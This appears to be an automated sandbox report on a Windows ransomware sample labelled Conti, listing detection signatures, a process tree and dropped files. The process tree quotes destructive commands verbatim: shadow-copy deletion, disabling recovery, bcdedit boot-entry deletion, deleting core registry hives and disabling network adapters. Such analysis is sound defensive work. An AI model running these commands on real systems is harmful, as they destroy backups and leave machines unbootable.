Analysis

  • max time kernel
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    01/07/2026, 09:48

General

  • Target
    2026-07-01_54b136e6ca4058e3c0c0ddf3caaa519c_conti.exe
  • Size 168KB
  • Sample260701-ls8rcads5t
  • SHA256 45b71116ecf288649bd8704c6bbfda6c72ba2e9a8637c979cd43e1ace06c0e53
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies firewall policy service 3 TTPs 25 IoCs
  • Modifies security service 2 TTPs 7 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Detects command variations typically used by ransomware 1 IoCs
  • Detects executables containing anti-forensic artifacts of deleting USN change journal. Observed in r 1 IoCs
  • Detects executables containing commands for clearing Windows Event Logs 1 IoCs
  • Detects executables embedding command execution via IExecuteCommand COM object 1 IoCs
  • Modifies boot configuration data using bcdedit 1 TTPs 14 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 53 IoCs
  • Uses Session Manager for persistence 2 TTPs 2 IoCs

    Creates Session Manager registry key to run executable early in system boot.

  • Impair Defenses: Safe Mode Boot 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 53 IoCs

    remove IFEO.

  • Maps connected drives based on registry 3 TTPs 3 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Drops file in System32 directory 11 IoCs
  • Drops file in Windows directory 8 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 35 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-01_54b136e6ca4058e3c0c0ddf3caaa519c_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-01_54b136e6ca4058e3c0c0ddf3caaa519c_conti.exe"
    1⤵
    • Uses Session Manager for persistence
    • Drops file in System32 directory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1412
    • C:\Windows\SYSTEM32\reagentc.exe
      reagentc /disable
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      PID:5412
    • C:\Windows\SYSTEM32\reagentc.exe
      reagentc /disable
      2⤵
      • Drops file in Windows directory
      PID:5592
    • C:\Windows\SYSTEM32\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal" /ve /t REG_SZ /d "" /f
      2⤵
      • Impair Defenses: Safe Mode Boot
      PID:4716
    • C:\Windows\SYSTEM32\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network" /ve /t REG_SZ /d "" /f
      2⤵
        PID:1844
      • C:\Windows\SYSTEM32\bcdedit.exe
        bcdedit /set {default} recoveryenabled no
        2⤵
        • Modifies boot configuration data using bcdedit
        PID:3008
      • C:\Windows\SYSTEM32\bcdedit.exe
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        2⤵
        • Modifies boot configuration data using bcdedit
        PID:4988
      • C:\Windows\SYSTEM32\bcdedit.exe
        bcdedit /set {default} nointegritychecks yes
        2⤵
        • Modifies boot configuration data using bcdedit
        PID:6348
      • C:\Windows\SYSTEM32\vssadmin.exe
        vssadmin delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:3144
      • C:\Windows\System32\Wbem\wmic.exe
        wmic shadowcopy delete /nointeractive
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:7040
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Get-WmiObject Win32_ShadowCopy | Remove-WmiObject"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3624
      • C:\Windows\SYSTEM32\bcdedit.exe
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        2⤵
        • Modifies boot configuration data using bcdedit
        PID:2612
      • C:\Windows\SYSTEM32\bcdedit.exe
        bcdedit /set {default} recoveryenabled no
        2⤵
        • Modifies boot configuration data using bcdedit
        PID:3972
      • C:\Windows\SYSTEM32\bcdedit.exe
        bcdedit /set {default} nointegritychecks yes
        2⤵
        • Modifies boot configuration data using bcdedit
        PID:1708
      • C:\Windows\SYSTEM32\bcdedit.exe
        bcdedit /set {default} truncatememory 1
        2⤵
        • Modifies boot configuration data using bcdedit
        PID:2484
      • C:\Windows\SYSTEM32\bcdedit.exe
        bcdedit /set {default} removememory 9999999
        2⤵
        • Modifies boot configuration data using bcdedit
        PID:6760
      • C:\Windows\SYSTEM32\bcdedit.exe
        bcdedit /set {default} numproc 0
        2⤵
        • Modifies boot configuration data using bcdedit
        PID:5716
      • C:\Windows\SYSTEM32\bcdedit.exe
        bcdedit /set {default} timeout 0
        2⤵
        • Modifies boot configuration data using bcdedit
        PID:484
      • C:\Windows\SYSTEM32\bcdedit.exe
        bcdedit /set {bootmgr} displaybootmenu no
        2⤵
        • Modifies boot configuration data using bcdedit
        PID:1272
      • C:\Windows\SYSTEM32\bcdedit.exe
        bcdedit /set {bootmgr} timeout 0
        2⤵
        • Modifies boot configuration data using bcdedit
        PID:4684
      • C:\Windows\SYSTEM32\bcdedit.exe
        bcdedit /delete {current} /f
        2⤵
        • Modifies boot configuration data using bcdedit
        PID:5812
      • C:\Windows\SYSTEM32\bcdedit.exe
        bcdedit /delete {bootmgr} /f
        2⤵
        • Modifies boot configuration data using bcdedit
        PID:2516
      • C:\Windows\SYSTEM32\mountvol.exe
        mountvol S: /s
        2⤵
          PID:4352
        • C:\Windows\SYSTEM32\mountvol.exe
          mountvol S: /d
          2⤵
          • Enumerates connected drives
          PID:4436
        • C:\Windows\SYSTEM32\reg.exe
          reg delete "HKLM\SYSTEM\CurrentControlSet\Services" /f
          2⤵
          • Modifies firewall policy service
          • Modifies security service
          • Maps connected drives based on registry
          PID:3792
        • C:\Windows\SYSTEM32\reg.exe
          reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /f
          2⤵
          • Event Triggered Execution: Image File Execution Options Injection
          • Indicator Removal: Clear Persistence
          PID:6608
        • C:\Windows\SYSTEM32\reg.exe
          reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /f
          2⤵
          • Adds Run key to start application
          PID:6676
        • C:\Windows\SYSTEM32\reg.exe
          reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f
          2⤵
          • Adds Run key to start application
          PID:6692
        • C:\Windows\SYSTEM32\reg.exe
          reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v "BootExecute" /t REG_MULTI_SZ /d "garbage" /f
          2⤵
          • Uses Session Manager for persistence
          PID:1716
        • C:\Windows\SYSTEM32\reg.exe
          reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v "CriticalSectionTimeout" /t REG_DWORD /d 0 /f
          2⤵
            PID:7116
          • C:\Windows\SYSTEM32\netsh.exe
            netsh winsock reset
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            PID:2588
          • C:\Windows\SYSTEM32\netsh.exe
            netsh int ip reset
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            PID:6916
          • C:\Windows\SYSTEM32\ipconfig.exe
            ipconfig /release
            2⤵
            • Gathers network information
            PID:3808
          • C:\Windows\SYSTEM32\ipconfig.exe
            ipconfig /flushdns
            2⤵
            • Gathers network information
            PID:2336
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -WindowStyle Hidden -Command "Get-NetAdapter | Disable-NetAdapter -Confirm:$false"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2076
          • C:\Windows\SYSTEM32\reg.exe
            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces" /f
            2⤵
              PID:3688
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:7004
          • C:\Windows\system32\vssvc.exe
            C:\Windows\system32\vssvc.exe
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:6252

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 60292489db6d4ba2a3e4448639fbe7fa2261be477f63ef09bca0b55e520a4777
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_tbyvfdkw.aol.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tbyvfdkw.aol.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                ReAgent.log

                • Path C:\Windows\Logs\ReAgent\ReAgent.log
                • Size 2KB
                • SHA256 dec3d5b380dd62e69c9a56575bdb08e22daa05d1667c70782dccd211c73e120d
                • MD5 SHA1 SHA512 TLSH

                diagerr.xml

                • Path C:\Windows\Panther\UnattendGC\diagerr.xml
                • Size 14KB
                • SHA256 bd7e20dd0ac3fe3f3a4f9278b7a13bccaf048992069e243c4f71c02030200ab8
                • MD5 SHA1 SHA512 SSDEEP TLSH

                diagwrn.xml

                • Path C:\Windows\Panther\UnattendGC\diagwrn.xml
                • Size 15KB
                • SHA256 4b152596c60c1df2d5bff2d138a8c67da7e12fec3a7f3219bbc83560835b4c6f
                • MD5 SHA1 SHA512 SSDEEP TLSH

                dberr.txt

                • Path C:\Windows\System32\catroot2\dberr.txt
                • Size 74KB
                • SHA256 df0bb7a37736a0eb39b6e993fcd04f6129fea1a7bc7014a9493a5ec852f63caa
                • MD5 SHA1 SHA512 SSDEEP TLSH

                ReAgent.xml

                • Path C:\Windows\system32\Recovery\ReAgent.xml
                • Size 1KB
                • SHA256 07f0adce301905f1b9b29e7ee60ec456c81c46a58fe747000f64972a3f669e90
                • MD5 SHA1 SHA512 TLSH

                memory/1412-362-0x00007FF6231E0000-0x00007FF62320A000-memory.dmp

                memory/2076-39-0x0000024C6BAA0000-0x0000024C6BABE000-memory.dmp

                memory/2076-40-0x0000024C6BB80000-0x0000024C6BC32000-memory.dmp

                memory/2076-41-0x0000024C6BAC0000-0x0000024C6BACA000-memory.dmp

                memory/2076-42-0x0000024C6BAF0000-0x0000024C6BB0E000-memory.dmp

                memory/3624-17-0x000001E57CB70000-0x000001E57CB92000-memory.dmp